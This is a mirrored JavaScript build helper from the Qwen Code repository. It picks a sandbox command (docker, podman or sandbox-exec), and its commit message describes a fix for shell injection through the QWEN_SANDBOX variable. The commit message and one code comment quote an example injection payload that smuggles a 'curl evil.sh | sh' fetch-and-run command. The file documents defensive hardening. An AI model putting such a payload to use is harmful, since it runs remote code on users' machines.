mirror of
https://github.com/QwenLM/qwen-code.git
synced 2026-07-09 17:19:02 +00:00
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX value straight into a shell string passed to execSync, so a value like 'docker; curl evil.sh | sh' would run the trailing command. Pass the candidate as a separate argv element via execFileSync instead, using an absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled shell cannot be hijacked either. Add a subprocess regression test covering several injection payload shapes.
168 lines
5 KiB
JavaScript
168 lines
5 KiB
JavaScript
/**
|
|
* @license
|
|
* Copyright 2025 Google LLC
|
|
* SPDX-License-Identifier: Apache-2.0
|
|
*/
|
|
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// http://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
|
|
import { execFileSync } from 'node:child_process';
|
|
import { existsSync, readFileSync } from 'node:fs';
|
|
import path from 'node:path';
|
|
const { join, dirname } = path;
|
|
import stripJsonComments from 'strip-json-comments';
|
|
import os from 'node:os';
|
|
import yargs from 'yargs';
|
|
import { hideBin } from 'yargs/helpers';
|
|
import dotenv from 'dotenv';
|
|
import { bootstrapHomeEnv, resolvePath } from './lib/qwen-home-bootstrap.js';
|
|
|
|
const argv = yargs(hideBin(process.argv)).option('q', {
|
|
alias: 'quiet',
|
|
type: 'boolean',
|
|
default: false,
|
|
}).argv;
|
|
|
|
let qwenSandbox = process.env.QWEN_SANDBOX;
|
|
|
|
bootstrapHomeEnv();
|
|
|
|
if (!qwenSandbox) {
|
|
const configDir = process.env.QWEN_HOME
|
|
? resolvePath(process.env.QWEN_HOME)
|
|
: join(os.homedir(), '.qwen');
|
|
const userSettingsFile = join(configDir, 'settings.json');
|
|
if (existsSync(userSettingsFile)) {
|
|
const settings = JSON.parse(
|
|
stripJsonComments(readFileSync(userSettingsFile, 'utf-8')),
|
|
);
|
|
if (settings.sandbox) {
|
|
qwenSandbox = settings.sandbox;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!qwenSandbox) {
|
|
// Walk up from cwd to find a project-level .env. Parse manually and copy
|
|
// only QWEN_SANDBOX — calling dotenv.config() here would inject every key,
|
|
// including QWEN_HOME / QWEN_RUNTIME_DIR that the main CLI hard-blocks via
|
|
// PROJECT_ENV_HARDCODED_EXCLUSIONS. A project file must not be able to
|
|
// redirect global state through this back door.
|
|
let currentDir = process.cwd();
|
|
while (true) {
|
|
const qwenEnv = join(currentDir, '.qwen', '.env');
|
|
const regularEnv = join(currentDir, '.env');
|
|
let candidate = null;
|
|
if (existsSync(qwenEnv)) {
|
|
candidate = qwenEnv;
|
|
} else if (existsSync(regularEnv)) {
|
|
candidate = regularEnv;
|
|
}
|
|
if (candidate) {
|
|
try {
|
|
const parsed = dotenv.parse(readFileSync(candidate, 'utf-8'));
|
|
if (
|
|
parsed.QWEN_SANDBOX &&
|
|
!Object.hasOwn(process.env, 'QWEN_SANDBOX')
|
|
) {
|
|
process.env.QWEN_SANDBOX = parsed.QWEN_SANDBOX;
|
|
}
|
|
} catch (_e) {
|
|
// Match dotenv's quiet-mode behavior used elsewhere.
|
|
}
|
|
break;
|
|
}
|
|
const parentDir = dirname(currentDir);
|
|
if (parentDir === currentDir) {
|
|
break;
|
|
}
|
|
currentDir = parentDir;
|
|
}
|
|
qwenSandbox = process.env.QWEN_SANDBOX;
|
|
}
|
|
|
|
qwenSandbox = (qwenSandbox || '').toLowerCase();
|
|
|
|
const commandExists = (cmd) => {
|
|
// Pass `cmd` as a separate argv element (never interpolated into a shell
|
|
// command string) so a malicious QWEN_SANDBOX value such as
|
|
// `docker; curl evil.sh | sh` cannot inject extra commands.
|
|
const check = (candidate) => {
|
|
if (os.platform() === 'win32') {
|
|
// Use 'where.exe' (not 'where') because PowerShell aliases 'where' to
|
|
// 'Where-Object', which breaks command detection.
|
|
execFileSync('where.exe', [candidate], { stdio: 'ignore' });
|
|
} else {
|
|
// 'command -v' is a POSIX shell builtin, so it must run inside a shell.
|
|
// Bind the candidate to $1 rather than splicing it into the script text.
|
|
// Use an absolute '/bin/sh' (matching execSync's default) so a
|
|
// PATH-controlled 'sh' from an untrusted project cannot be run here.
|
|
execFileSync('/bin/sh', ['-c', 'command -v "$1"', 'sh', candidate], {
|
|
stdio: 'ignore',
|
|
});
|
|
}
|
|
};
|
|
try {
|
|
check(cmd);
|
|
return true;
|
|
} catch {
|
|
if (os.platform() === 'win32' && !cmd.endsWith('.exe')) {
|
|
try {
|
|
check(`${cmd}.exe`);
|
|
return true;
|
|
} catch {
|
|
return false;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
};
|
|
|
|
let command = '';
|
|
if (['1', 'true'].includes(qwenSandbox)) {
|
|
if (commandExists('docker')) {
|
|
command = 'docker';
|
|
} else if (commandExists('podman')) {
|
|
command = 'podman';
|
|
} else {
|
|
console.error(
|
|
'ERROR: install docker or podman or specify command in QWEN_SANDBOX',
|
|
);
|
|
process.exit(1);
|
|
}
|
|
} else if (qwenSandbox && !['0', 'false'].includes(qwenSandbox)) {
|
|
if (commandExists(qwenSandbox)) {
|
|
command = qwenSandbox;
|
|
} else {
|
|
console.error(
|
|
`ERROR: missing sandbox command '${qwenSandbox}' (from QWEN_SANDBOX)`,
|
|
);
|
|
process.exit(1);
|
|
}
|
|
} else {
|
|
if (os.platform() === 'darwin' && process.env.SEATBELT_PROFILE !== 'none') {
|
|
if (commandExists('sandbox-exec')) {
|
|
command = 'sandbox-exec';
|
|
} else {
|
|
process.exit(1);
|
|
}
|
|
} else {
|
|
process.exit(1);
|
|
}
|
|
}
|
|
|
|
if (!argv.q) {
|
|
console.log(command);
|
|
}
|
|
process.exit(0);
|